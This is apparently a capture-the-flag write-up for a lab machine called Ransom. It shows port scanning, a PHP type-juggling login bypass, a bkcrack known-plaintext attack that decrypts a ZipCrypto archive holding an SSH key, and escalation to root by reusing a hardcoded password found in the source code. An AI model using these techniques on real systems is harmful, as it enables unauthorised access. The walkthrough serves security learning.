Ransom
7 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.153
- Release: 15 / 03 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.153 -p 22,80
Nmap scan report for 10.10.11.153
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-title: Admin - HTML5 Admin Template
|_Requested resource was http://10.10.11.153/login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.77 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Web enumeration
If we go to http://10.10.11.153
, we will be redirected to /login
, which shows a login form:
The website is built with Laravel, which is a PHP web framework. Notice that there is a cookie called laravel_session
:
$ curl -I 10.10.11.153
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: no-cache, private
Location: http://10.10.11.153/login
Set-Cookie: XSRF-TOKEN=eyJpdiI6IjNLelg0R3cvaTAzRUJURkdjSkswNnc9PSIsInZhbHVlIjoiWGpqQ3oxME1CbXZ5dmFnOCt1SUtST3NMS1RTUUQxL0xZNncxYk9hbXBucHh3elV3OXBiN08wQkpteTV
WRGR5SFBjNjBSN2pFODFHRDA1Rkt6ZE1NeklWcjJwZHJOTVFmNmFuTCtUTjBodnMrU29adWJZelFsd2VxVmJGRzdobFgiLCJtYWMiOiJhYWExNWI0MzRlNzk3MzRmYTE0YjdmMzQ5OGE4ZDI3ODFiODJlMWNlM
TJmNTk0Y2JlOGM0ODk5NDczMjYxYTFjIiwidGFnIjoiIn0%3D
Set-Cookie: laravel_session=eyJpdiI6InIwUm5hV3lrUS83cHAxMG5iMWxkREE9PSIsInZhbHVlIjoiQkVZR2pjd2FUc3Z6ZklETEU3dmpzRjI3N3EzTitMWnFXbXpYN3cwMnpGejBxeVRjVlJKMk9Udk
VkcjIxTmVyNm9ZbFFKMitIbVB6Tm1WZW02WUVRNEVnbkU0VEU4ei8ySUdJQW5OdVdlbFE2cnI3MStXcU9ySkExRDl1Z29waTMiLCJtYWMiOiJjOWMyOWJkOWJkYzVjMjM1Y2IyZDZlMDJiYTUyODVmNmE1ZjEy
MTcyZjY4NjM5YmUxYzdhMTkzY2Y0ZjY1NmI0IiwidGFnIjoiIn0%3D
Content-Type: text/html; charset=UTF-8
We can try to use SQLi in the login form, but it is not vulnerable.
Exploiting Type Juggling
Since it is handled with PHP, we can try a vulnerability known as Type Juggling. This is a simple proof of concept:
$ php -a
Interactive shell
php > if ("asdf" == true) { echo "true"; }
true
The vulnerability is the use of ==
, which does not check the variable type, only the value. A compliant solution would be this one, using ===
:
php > if ("asdf" === true) { echo "true"; } else { echo "false"; }
false
If the website is vulnerable to Type Juggling, if we enter a boolean type as password, we will bypass authentication. Let’s use Burp Suite (Repeater):
We cannot simply use password=true
since the server will parse it as "true"
(a string value). In order to add a boolean value, we can use a JSON document. Although the request is using GET, we can add the parameter in the request body as follows:
As it is shown, we get “Login Successful”, so we bypassed authentication. Using the Burp Suite (Proxy), we can intercept the request and modify it before it goes to the server, so that the response is successful.
Then, we have this portal:
At this point, we have user.txt
:
Known plaintext attack on a encrypted ZIP file
There is also a ZIP archive called uploaded-file-3422.zip
and it is password-protected:
$ file uploaded-file-3422.zip
uploaded-file-3422.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
We can try to perform a brute force attack using fcrackzip
, but the password seems to be strong and we can’t find it inside rockyou.txt
.
We can see the files inside and the compression method:
$ unzip -v uploaded-file-3422.zip
Archive: uploaded-file-3422.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
220 Defl:N 158 28% 2020-02-25 06:03 6ce3189b .bash_logout
3771 Defl:N 1740 54% 2020-02-25 06:03 ab254644 .bashrc
807 Defl:N 392 51% 2020-02-25 06:03 d1b22a87 .profile
0 Stored 0 0% 2021-07-02 13:58 00000000 .cache/
0 Stored 0 0% 2021-07-02 13:58 00000000 .cache/motd.legal-displayed
0 Stored 0 0% 2021-07-02 13:58 00000000 .sudo_as_admin_successful
0 Stored 0 0% 2022-03-07 06:32 00000000 .ssh/
2610 Defl:N 1978 24% 2022-03-07 06:32 38804579 .ssh/id_rsa
564 Defl:N 463 18% 2022-03-07 06:32 cb143c32 .ssh/authorized_keys
564 Defl:N 463 18% 2022-03-07 06:32 cb143c32 .ssh/id_rsa.pub
2009 Defl:N 569 72% 2022-03-07 06:32 396b04b4 .viminfo
-------- ------- --- -------
10545 5763 45% 11 files
$ 7z -slt l uploaded-file-3422.zip | grep -A 14 .bash_logout
Path = .bash_logout
Folder = -
Size = 220
Packed Size = 170
Modified = 2020-02-25 07:03:22
Created =
Accessed =
Attributes = _ -rw-r--r--
Encrypted = +
Comment =
CRC = 6CE3189B
Method = ZipCrypto Deflate
Host OS = Unix
Version = 20
Volume Index = 0
It seems like a personal directory of some user. Moreover, the compression method is ZipCrypto Deflate.
After reading How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File, we know there exists a known plaintext attack on encrypted ZIP files.
The file .bash_logout
might be a default one. This is the .bash_logout
file I have in my machine (the default one):
$ cp ~/.bash_logout .
$ cat .bash_logout
# ~/.bash_logout: executed by bash(1) when login shell exits.
# when leaving the console clear the screen to increase privacy
if [ "$SHLVL" = 1 ]; then
[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
We can check that both .bash_logout
files are equal using the CRC32 algorithm (used by ZIP files to check errors):
>>> import zlib
>>> bash_logout = open('.bash_logout', 'rb').read()
>>> hex(zlib.crc32(bash_logout))
'0x6ce3189b'
In the previous unzip
/ 7z
commands we can see the CRC32 value for .bash_logout
, and they match, so we have a known plaintext.
Now it is time to use bkcrack
(known plaintext attack) to store the files from uploaded-file-3422.zip
into unlocked.zip
. We must provide a file plain.zip
containing our .bash_logout
:
$ zip plain.zip .bash_logout
adding: .bash_logout (deflated 28%)
$ ./bkcrack -C uploaded-file-3422.zip -c .bash_logout -P plain.zip -p .bash_logout
bkcrack 1.3.5 - 2022-03-28
[03:34:35] Z reduction using 150 bytes of known plaintext
100.0 % (150 / 150)
[03:34:35] Attack on 57097 Z values at index 7
Keys: 7b549874 ebc25ec5 7e465e18
78.5 % (44845 / 57097)
[03:38:54] Keys
7b549874 ebc25ec5 7e465e18
$ ./bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip password
bkcrack 1.3.5 - 2022-03-28
[03:42:33] Writing unlocked archive unlocked.zip with password "password"
100.0 % (9 / 9)
Wrote unlocked archive.
At this point, we can extract the files from unlocked.zip
:
$ unzip -P password unlocked.zip
Archive: unlocked.zip
inflating: .bash_logout
inflating: .bashrc
inflating: .profile
creating: .cache/
extracting: .cache/motd.legal-displayed
extracting: .sudo_as_admin_successful
creating: .ssh/
inflating: .ssh/id_rsa
inflating: .ssh/authorized_keys
inflating: .ssh/id_rsa.pub
inflating: .viminfo
Privilege escalation
Now we’ve got a private SSH key. We can connect as user htb
(just because it is a machine from UHC) without password:
$ chmod 600 id_rsa
$ ssh -i id_rsa htb@10.10.11.153
htb@ransom:~$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
Although we belong to group lxd
, we will escalate in the intended way.
Let’s find the Laravel website in order to see how the authentication is handled:
htb@ransom:~$ find / -name \*laravel\* 2>/dev/null
/srv/prod/storage/logs/laravel.log
/srv/prod/vendor/laravel
/srv/prod/vendor/fruitcake/laravel-cors
Nice, it seems that Laravel source files are inside /srv/prod
. Let’s look for "password"
recursively:
htb@ransom:~$ cd /srv/prod
htb@ransom:/srv/prod$ grep -nri password . | grep -vE 'js|config|vendor|bootstrap' | grep php | grep password
./resources/views/auth/login.blade.php:15: password: $("#password").val()
./resources/views/auth/login.blade.php:44: <p>Please enter the password provided to you in order to send files to the E Corp Engineers.</p>
./resources/views/auth/login.blade.php:50: <input type="password" name="password" id="password" class="form-control form-control-lg" />
./resources/lang/en/validation.php:35: 'current_password' => 'The password is incorrect.',
./resources/lang/en/validation.php:103: 'password' => 'The password is incorrect.',
./resources/lang/en/passwords.php:7: | Password Reset Language Lines
./resources/lang/en/passwords.php:11: | that are given by the password broker for a password update attempt
./resources/lang/en/passwords.php:12: | has failed, such as for an invalid token or invalid new password.
./resources/lang/en/passwords.php:16: 'reset' => 'Your password has been reset!',
./resources/lang/en/passwords.php:17: 'sent' => 'We have emailed your password reset link!',
./resources/lang/en/passwords.php:19: 'token' => 'This password reset token is invalid.',
./resources/lang/en/auth.php:17: 'password' => 'The provided password is incorrect.',
./storage/framework/views/716af88e12f9db05fa041bff2e06875d7f0b09db.php:13: password: $("#password").val()
./storage/framework/views/716af88e12f9db05fa041bff2e06875d7f0b09db.php:42: <p>Please enter the password provided to you in order to send files to the E Corp Engineers.</p>
./storage/framework/views/716af88e12f9db05fa041bff2e06875d7f0b09db.php:48: <input type="password" name="password" id="password" class="form-control form-control-lg" />
./app/Exceptions/Handler.php:25: 'current_password',
./app/Exceptions/Handler.php:26: 'password',
./app/Exceptions/Handler.php:27: 'password_confirmation',
./app/Models/User.php:23: 'password',
./app/Models/User.php:32: 'password',
./app/Models/User.php:46: * Always encrypt the password when it is updated.
./app/Models/User.php:53: $this->attributes['password'] = bcrypt($value);
./app/Http/Kernel.php:66: 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class,
./app/Http/Middleware/TrimStrings.php:15: 'current_password',
./app/Http/Middleware/TrimStrings.php:16: 'password',
./app/Http/Middleware/TrimStrings.php:17: 'password_confirmation',
./app/Http/Controllers/AuthController.php:34: 'password' => 'required',
./app/Http/Controllers/AuthController.php:37: if ($request->get('password') == "UHC-March-Global-PW!") {
./database/migrations/2014_10_12_100000_create_password_resets_table.php:7:class CreatePasswordResetsTable extends Migration
./database/migrations/2014_10_12_100000_create_password_resets_table.php:16: Schema::create('password_resets', function (Blueprint $table) {
./database/migrations/2014_10_12_100000_create_password_resets_table.php:30: Schema::dropIfExists('password_resets');
./database/migrations/2014_10_12_000000_create_users_table.php:21: $table->string('password');
./database/factories/UserFactory.php:21: 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', // password
We found that app/Http/Controllers/AuthController.php
is checking that the password is equal to UHC-March-Global-PW!
(using ==
because it is vulnerable to Type Juggling). This password is set for root
:
htb@ransom:/srv/prod$ su root
Password:
root@ransom:/srv/prod# cat /root/root.txt
a4d5e9000007b5eabfb8358b2dd9ac1a